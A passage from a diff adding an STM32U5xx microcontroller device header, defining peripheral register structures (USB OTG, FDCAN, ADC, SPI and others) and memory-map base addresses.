offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS 